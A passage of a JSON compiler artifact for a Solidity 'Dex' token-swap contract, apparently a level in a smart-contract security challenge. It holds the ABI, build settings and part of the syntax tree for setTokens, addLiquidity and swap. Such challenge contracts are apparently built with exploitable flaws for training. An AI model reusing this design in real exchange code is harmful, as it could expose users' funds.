ndexed":true},{"internalType":"address","name":"newOwner","type":"address","indexed":true}],"type":"event","name":"OwnershipTransferred","anonymous":false},{"inputs":[{"internalType":"address","name":"token_address","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"stateMutability":"nonpayable","type":"function","name":"addLiquidity"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"stateMutability":"nonpayable","type":"function","name":"approve"},{"inputs":[{"internalType":"address","name":"token","type":"address"},{"internalType":"address","name":"account","type":"address"}],"stateMutability":"view","type":"function","name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}]},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"stateMutability":"view","type":"function","name":"getSwapPrice","outputs":[{"internalType":"uint256","name":"","type":"uint256"}]},{"inputs":[],"stateMutability":"view","type":"function","name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}]},{"inputs":[],"stateMutability":"nonpayable","type":"function","name":"renounceOwnership"},{"inputs":[{"internalType":"address","name":"_token1","type":"address"},{"internalType":"address","name":"_token2","type":"address"}],"stateMutability":"nonpayable","type":"function","name":"setTokens"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"stateMutability":"nonpayable","type":"function","name":"swap"},{"inputs":[],"stateMutability":"view","type":"function","name":"token1","outputs":[{"internalType":"address","name":"","type":"address"}]},{"inputs":[],"stateMutability":"view","type":"function","name":"token2","outputs":[{"internalType":"address","name":"","type":"address"}]},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"stateMutability":"nonpayable","type":"function","name":"transferOwnership"}],"devdoc":{"kind":"dev","methods":{"owner()":{"details":"Returns the address of the current owner."},"renounceOwnership()":{"details":"Leaves the contract without owner. It will not be possible to call `onlyOwner` functions anymore. Can only be called by the current owner. NOTE: Renouncing ownership will leave the contract without an owner, thereby removing any functionality that is only available to the owner."},"transferOwnership(address)":{"details":"Transfers ownership of the contract to a new account (`newOwner`). Can only be called by the current owner."}},"version":1},"userdoc":{"kind":"user","methods":{},"version":1}},"settings":{"remappings":["ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/","erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/","forge-std/=lib/forge-std/src/","openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/","openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/","openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/","openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/","openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/"],"optimizer":{"enabled":true,"runs":1000},"metadata":{"bytecodeHash":"ipfs"},"compilationTarget":{"src/levels/Dex.sol":"Dex"},"evmVersion":"shanghai","libraries":{}},"sources":{"lib/openzeppelin-contracts-08/contracts/access/Ownable.sol":{"keccak256":"0xa94b34880e3c1b0b931662cb1c09e5dfa6662f31cba80e07c5ee71cd135c9673","urls":["bzz-raw://40fb1b5102468f783961d0af743f91b9980cf66b50d1d12009f6bb1869cea4d2","dweb:/ipfs/QmYqEbJML4jB1GHbzD4cUZDtJg5wVwNm3vDJq1GbyDus8y"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/token/ERC20/ERC20.sol":{"keccak256":"0x24b04b8aacaaf1a4a0719117b29c9c3647b1f479c5ac2a60f5ff1bb6d839c238","urls":["bzz-raw://43e46da9d9f49741ecd876a269e71bc7494058d7a8e9478429998adb5bc3eaa0","dweb:/ipfs/QmUtp4cqzf22C5rJ76AabKADquGWcjsc33yjYXxXC4sDvy"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/token/ERC20/IERC20.sol":{"keccak256":"0x9750c6b834f7b43000631af5cc30001c5f547b3ceb3635488f140f60e897ea6b","urls":["bzz-raw://5a7d5b1ef5d8d5889ad2ed89d8619c09383b80b72ab226e0fe7bde1636481e34","dweb:/ipfs/QmebXWgtEfumQGBdVeM6c71McLixYXQP5Bk6kKXuoY4Bmr"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/token/ERC20/extensions/IERC20Metadata.sol":{"keccak256":"0x8de418a5503946cabe331f35fe242d3201a73f67f77aaeb7110acb1f30423aca","urls":["bzz-raw://5a376d3dda2cb70536c0a45c208b29b34ac560c4cb4f513a42079f96ba47d2dd","dweb:/ipfs/QmZQg6gn1sUpM8wHzwNvSnihumUCAhxD119MpXeKp8B9s8"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/utils/Context.sol":{"keccak256":"0xe2e337e6dde9ef6b680e07338c493ebea1b5fd09b43424112868e9cc1706bca7","urls":["bzz-raw://6df0ddf21ce9f58271bdfaa85cde98b200ef242a05a3f85c2bc10a8294800a92","dweb:/ipfs/QmRK2Y5Yc6BK7tGKkgsgn3aJEQGi5aakeSPZvS65PV8Xp3"],"license":"MIT"},"src/levels/Dex.sol":{"keccak256":"0x165404494864adbe32c9a11790fb3ed27c4377cadc9094783ca2850191ca90b9","urls":["bzz-raw://5fb11639949ca42fbf5013de302480c56fed463d375635f28a34650f4b721350","dweb:/ipfs/QmdUHtCRqdSWYLpEDGvS8KW4WC7Di59eS3Zt6Y66HKdB1a"],"license":"MIT"}},"version":1},"ast":{"absolutePath":"src/levels/Dex.sol","id":50854,"exportedSymbols":{"Context":[48281],"Dex":[50797],"ERC20":[47861],"IERC20":[47939],"IERC20Metadata":[47964],"Ownable":[46700],"SwappableToken":[50853]},"nodeType":"SourceUnit","src":"32:2155:67","nodes":[{"id":50572,"nodeType":"PragmaDirective","src":"32:23:67","nodes":[],"literals":["solidity","^","0.8",".0"]},{"id":50573,"nodeType":"ImportDirective","src":"57:58:67","nodes":[],"absolutePath":"lib/openzeppelin-contracts-08/contracts/token/ERC20/IERC20.sol","file":"openzeppelin-contracts-08/token/ERC20/IERC20.sol","nameLocation":"-1:-1:-1","scope":50854,"sourceUnit":47940,"symbolAliases":[],"unitAlias":""},{"id":50574,"nodeType":"ImportDirective","src":"116:57:67","nodes":[],"absolutePath":"lib/openzeppelin-contracts-08/contracts/token/ERC20/ERC20.sol","file":"openzeppelin-contracts-08/token/ERC20/ERC20.sol","nameLocation":"-1:-1:-1","scope":50854,"sourceUnit":47862,"symbolAliases":[],"unitAlias":""},{"id":50575,"nodeType":"ImportDirective","src":"174:54:67","nodes":[],"absolutePath":"lib/openzeppelin-contracts-08/contracts/access/Ownable.sol","file":"openzeppelin-contracts-08/access/Ownable.sol","nameLocation":"-1:-1:-1","scope":50854,"sourceUnit":46701,"symbolAliases":[],"unitAlias":""},{"id":50797,"nodeType":"ContractDefinition","src":"230:1495:67","nodes":[{"id":50579,"nodeType":"VariableDeclaration","src":"260:21:67","nodes":[],"constant":false,"functionSelector":"d21220a7","mutability":"mutable","name":"token1","nameLocation":"275:6:67","scope":50797,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":50578,"name":"address","nodeType":"ElementaryTypeName","src":"260:7:67","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"public"},{"id":50581,"nodeType":"VariableDeclaration","src":"287:21:67","nodes":[],"constant":false,"functionSelector":"25be124e","mutability":"mutable","name":"token2","nameLocation":"302:6:67","scope":50797,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":50580,"name":"address","nodeType":"ElementaryTypeName","src":"287:7:67","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"public"},{"id":50585,"nodeType":"FunctionDefinition","src":"315:16:67","nodes":[],"body":{"id":50584,"nodeType":"Block","src":"329:2:67","nodes":[],"statements":[]},"implemented":true,"kind":"constructor","modifiers":[],"name":"","nameLocation":"-1:-1:-1","parameters":{"id":50582,"nodeType":"ParameterList","parameters":[],"src":"326:2:67"},"returnParameters":{"id":50583,"nodeType":"ParameterList","parameters":[],"src":"329:0:67"},"scope":50797,"stateMutability":"nonpayable","virtual":false,"visibility":"public"},{"id":50603,"nodeType":"FunctionDefinition","src":"337:129:67","nodes":[],"body":{"id":50602,"nodeType":"Block","src":"407:59:67","nodes":[],"statements":[{"expression":{"id":50596,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":50594,"name":"token1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":50579,"src":"417:6:67","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"id":50595,"name":"_token1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":50587,"src":"426:7:67","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"src":"417:16:67","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"id":50597,"nodeType":"ExpressionStatement","src":"417:16:67"},{"expression":{"id":50600,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":50598,"name":"token2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":50581,"src":"443:6:67","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"id":50599,"name":"_token2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":50589,"src":"452:7:67","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"src":"443:16:67","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"id":50601,"nodeType":"ExpressionStatement","src":"443:16:67"}]},"functionSelector":"cbc7854e","implemented":true,"kind":"function","modifiers":[{"id":50592,"kind":"modifierInvocation","modifierName":{"id":50591,"name":"onlyOwner","nameLocations":["397:9:67"],"nodeType":"IdentifierPath","referencedDeclaration":46619,"src":"397:9:67"},"nodeType":"ModifierInvocation","src":"397:9:67"}],"name":"setTokens","nameLocation":"346:9:67","parameters":{"id":50590,"nodeType":"ParameterList","parameters":[{"constant":false,"id":50587,"mutability":"mutable","name":"_token1","nameLocation":"364:7:67","nodeType":"VariableDeclaration","scope":50603,"src":"356:15:67","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":50586,"name":"address","nodeType":"ElementaryTypeName","src":"356:7:67","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":50589,"mutability":"mutable","name":"_token2","nameLocation":"381:7:67","nodeType":"VariableDeclaration","scope":50603,"src":"373:15:67","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":50588,"name":"address","nodeType":"ElementaryTypeName","src":"373:7:67","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"355:34:67"},"returnParameters":{"id":50593,"nodeType":"ParameterList","parameters":[],"src":"407:0:67"},"scope":50797,"stateMutability":"nonpayable","virtual":false,"visibility":"public"},{"id":50626,"nodeType":"FunctionDefinition","src":"472:164:67","nodes":[],"body":{"id":50625,"nodeType":"Block","src":"550:86:67","nodes":[],"statements":[{"expression":{"arguments":[{"expression":{"id":50616,"name":"msg","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-15,"src":"595:3:67","typeDescriptions":{"typeIdentifier":"t_magic_message","typeString":"msg"}},"id":50617,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"599:6:67","memberName":"sender","nodeType":"MemberAccess","src":"595:10:67","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"arguments":[{"id":50620,"name":"this","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-28,"src":"615:4:67","typeDescriptions":{"typeIdentifier":"t_contract$_Dex_$50797","typeString":"contract Dex"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_Dex_$50797","typeString":"contract Dex"}],"id":50619,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"607:7:67","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":50618,"name":"address","nodeType":"ElementaryTypeName","src":"607:7:67","typeDescriptions":{}}},"id":50621,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"607:13:67","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":50622,"name":"amount","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":50607,"src":"622:6:67","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_uint256","typeString":"uint256"}],"expression":{"arguments":[{"id":50613,"name":"token_address","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":50605,"src":"567:13:67","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"id":50612,"name":"IERC20","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":47939,"src":"560:6:67","typeDescriptions":{"typeIdentifier":"t_type$_t_contract$_IERC20_$47939_$","typeString":"type(contract IERC20)"}},"id":50614,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"560:21:67","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_IERC20_$47939","typeString":"contract IERC20"}},"id":50615,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"582:12:67","memberName":"transferFrom","nodeType":"MemberAccess","referencedDeclaration":47938,"src":"560:34:67","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$_t_address_$_t_uint256_$returns$_t_bool_$","typeString":"function (address,address,uint256) external returns (bool)"}},"id":50623,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"560:69:67","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"id":50624,"nodeType":"ExpressionStatement","src":"560:69:67"}]},"functionSelector":"56688700","implemented":true,"kind":"function","modifiers":[{"id":50610,"kind":"modifierInvocation","modifierName":{"id":50609,"name":"onlyOwner","nameLocations":["540:9:67"],"nodeType":"IdentifierPath","referencedDeclaration":46619,"src":"540:9:67"},"nodeType":"ModifierInvocation","src":"540:9:67"}],"name":"addLiquidity","nameLocation":"481:12:67","parameters":{"id":50608,"nodeType":"ParameterList","parameters":[{"constant":false,"id":50605,"mutability":"mutable","name":"token_address","nameLocation":"502:13:67","nodeType":"VariableDeclaration","scope":50626,"src":"494:21:67","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":50604,"name":"address","nodeType":"ElementaryTypeName","src":"494:7:67","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":50607,"mutability":"mutable","name":"amount","nameLocation":"525:6:67","nodeType":"VariableDeclaration","scope":50626,"src":"517:14:67","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":50606,"name":"uint256","nodeType":"ElementaryTypeName","src":"517:7:67","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"493:39:67"},"returnParameters":{"id":50611,"nodeType":"ParameterList","parameters":[],"src":"550:0:67"},"scope":50797,"stateMutability":"nonpayable","virtual":false,"visibility":"public"},{"id":50715,"nodeType":"FunctionDefinition","src":"642:518:67","nodes":[],"body":{"id":50714,"nodeType":"Block","src":"705:455:67","nodes":[],"statements":[{"expression":{"arguments":[{"commonType":{"typeIdentifier":"t_bool","typeString":"bool"},"id":50652,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"components":[{"commonType":{"typeIdentifier":"t_bool","typeString":"bool"},"id":50642,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"commonType":{"typeIdentifier":"t_address","typeString":"address"},"id":50638,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"id":50636,"name":"from","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":50628,"src":"724:4:67","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"BinaryOperation","operator":"==","rightExpression":{"id":50637,"name":"token1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":50579,"src":"732:6:67","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"src":"724:14:67","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"nodeType":"BinaryOperation","operator":"&&","rightExpression":{"commonType":{"typeIdentifier":"t_address","typeString":"address"},"id":50641,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"id":50639,"name":"to","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":50630,"src":"742:2:67","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"BinaryOperation","operator":"==","rightExpression":{"id":50640,"name":"token2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":50581,"src":"748:6:67","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"src":"742:12:67","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"src":"724:30:67","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}}],"id":50643,"isConstant":false,"isInlineArray":false,"isLValue":false,"isPure":false,"lValueRequested":false,"nodeType":"TupleExpression","src":"723:32:67","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"nodeType":"BinaryOperation","operator":"||","rightExpression":{"components":[{"commonType":{"typeIdentifier":"t_bool","typeString":"bool"},"id":50650,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"commonType":{"typeIdentifier":"t_address","typeString":"address"},"id":50646,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"id":50644,"name":"from","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":50628,"src":"760:4:67","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"BinaryOperation","operator":"==","rightExpression":{"id":50645,"name":"token2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":50581,"src":"768:6:67","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"src":"760:14:67","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"nodeType":"BinaryOperation","operator":"&&","rightExpression":{"commonType":{"typeIdentifier":"t_address","typeString":"address"},"id":50649,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"id":50647,"name":"to","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":50630,"src":"778:2:67","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"BinaryOperation","operator":"==","rightExpression":{"id":50648,"name":"token1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":50579,"src":"784:6:67","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"src":"778:12:67","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"src":"760:30:67","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}}],"id":50651,"isConstant":false,"isInlineArray":false,"isLValue":false,"isPure":false,"lValueRequested":false,"nodeType":"TupleExpression","src":"759:32:67","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"src":"723:68:67","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"hexValue":"496e76616c696420746f6b656e73","id":50653,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"793:16:67","typeDescriptions":{"typeIdentifier":"t_stringliteral_18c8654bb6ae760fb2877e79fd627dbf13e3a26400e2732e171cf45a387d53e3","typeString":"literal_string \"Invalid tokens\""},"value":"Invalid tokens"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_stringliteral_18c8654bb6ae760fb2877e79fd627dbf13e3a26400e2732e171cf45a387d53e3","typeString":"literal_string \"Invalid tokens\""}],"id":50635,"name":"require","nodeType":"Identifier","overloadedDeclarations":[-18,-18],"referencedDeclaration":-18,"src":"715:7:67","typeDescriptions":{"typeIdentifier":"t_function_require_pure$_t_bool_$_t_string_memory_ptr_$returns$__$","typeString":"function (bool,string memory) pure"}},"id":50654,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"715:95:67","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":50655,"nodeType":"ExpressionStatement","src":"715:95:67"},{"expression":{"arguments":[{"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"id":50665,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"arguments":[{"expression":{"id":50661,"name":"msg","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-15,"src":"851:3:67","typeDescriptions":{"typeIdentifier":"t_magic_message","typeString":"msg"}},"id":50662,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"855:6:67","memberName":"sender","nodeType":"MemberAccess","src":"851:10:67","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"expression":{"arguments":[{"id":50658,"name":"from","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":50628,"src":"835:4:67","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"id":50657,"name":"IERC20","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":47939,"src":"828:6:67","typeDescriptions":{"typeIdentifier":"t_type$_t_contract$_IERC20_$47939_$","typeString":"type(contract IERC20)"}},"id":50659,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"828:12:67","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_IERC20_$47939","typeString":"contract IERC20"}},"id":50660,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"841:9:67","memberName":"balanceOf","nodeType":"MemberAccess","referencedDeclaration":47896,"src":"828:22:67","typeDescriptions":{"typeIdentifier":"t_function_external_view$_t_address_$returns$_t_uint256_$","typeString":"function (address) view external returns (uint256)"}},"id":50663,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"828:34:67","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"BinaryOperation","operator":">=","rightExpression":{"id":50664,"name":"amount","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":50632,"src":"866:6:67","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"src":"828:44:67","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"hexValue":"4e6f7420656e6f75676820746f2073776170","id":50666,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"874:20:67","typeDescriptions":{"typeIdentifier":"t_stringliteral_68246103c1af9f868e02771dfde8a2d9eada4e23252186e1bbb1f04b5d2267cc","typeString":"literal_string \"Not enough to swap\""},"value":"Not enough to swap"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_stringliteral_68246103c1af9f868e02771dfde8a2d9eada4e23252186e1bbb1f04b5d2267cc","typeString":"literal_string \"Not enough to swap\""}],"id":50656,"name":"require","nodeType":"Identifier","overloadedDeclarations":[-18,-18],"referencedDeclaration":-18,"src":"820:7:67","typeDescriptions":{"typeIdentifier":"t_function_require_pure$_t_bool_$_t_string_memory_ptr_$returns$__$","typeString":"function (bool,string memory) pure"}},"id":50667,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"820:75:67","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":50668,"nodeType":"ExpressionStatement","src":"820:75:67"},{"assignments":[50670],"declarations":[{"constant":false,"id":50670,"mutability":"mutable","name":"swapAmount","nameLocation":"913:10:67","nodeType":"VariableDeclaration","scope":50714,"src":"905:18:67","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":50669,"name":"uint256","nodeType":"ElementaryTypeName","src":"905:7:67","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"id":50676,"initialValue":{"arguments":[{"id":50672,"name":"from","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":50628,"src":"939:4:67","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":50673,"name":"to","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":50630,"src":"945:2:67","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":50674,"name":"amount","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":50632,"src":"949:6:67","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_uint256","typeString":"uint256"}],"id":50671,"name":"getSwapPrice","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":50751,"src":"926:12:67","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_address_$_t_address_$_t_uint256_$returns$_t_uint256_$","typeString":"function (address,address,uint256) view returns (uint256)"}},"id":50675,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"926:30:67","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"VariableDeclarationStatement","src":"905:51:67"},{"expression":{"arguments":[{"expression":{"id":50681,"name":"msg","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-15,"src":"992:3:67","typeDescriptions":{"typeIdentifier":"t_magic_message","typeString":"msg"}},"id":50682,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"996:6:67","memberName":"sender","nodeType":"MemberAccess","src":"992:10:67","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"arguments":[{"id":50685,"name":"this","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-28,"src":"1012:4:67","typeDescriptions":{"typeIdentifier":"t_contract$_Dex_$50797","typeString":"contract Dex"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_Dex_$50797","typeString":"contract Dex"}],"id":50684,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"1004:7:67","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":50683,"name":"address","nodeType":"ElementaryTypeName","src":"1004:7:67","typeDescriptions":{}}},"id":50686,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1004:13:67","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":50687,"name":"amount","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":50632,"src":"1019:6:67","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_uint256","typeString":"uint256"}],"expression":{"arguments":[{"id":50678,"name":"from","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":50628,"src":"973:4:67","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"id":50677,"name":"IERC20","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":47939,"src":"966:6:67","typeDescriptions":{"typeIdentifier":"t_type$_t_contract$_IERC20_$47939_$","typeString":"type(contract IERC20)"}},"id":50679,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"966:12:67","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_IERC20_$47939","typeString":"contract 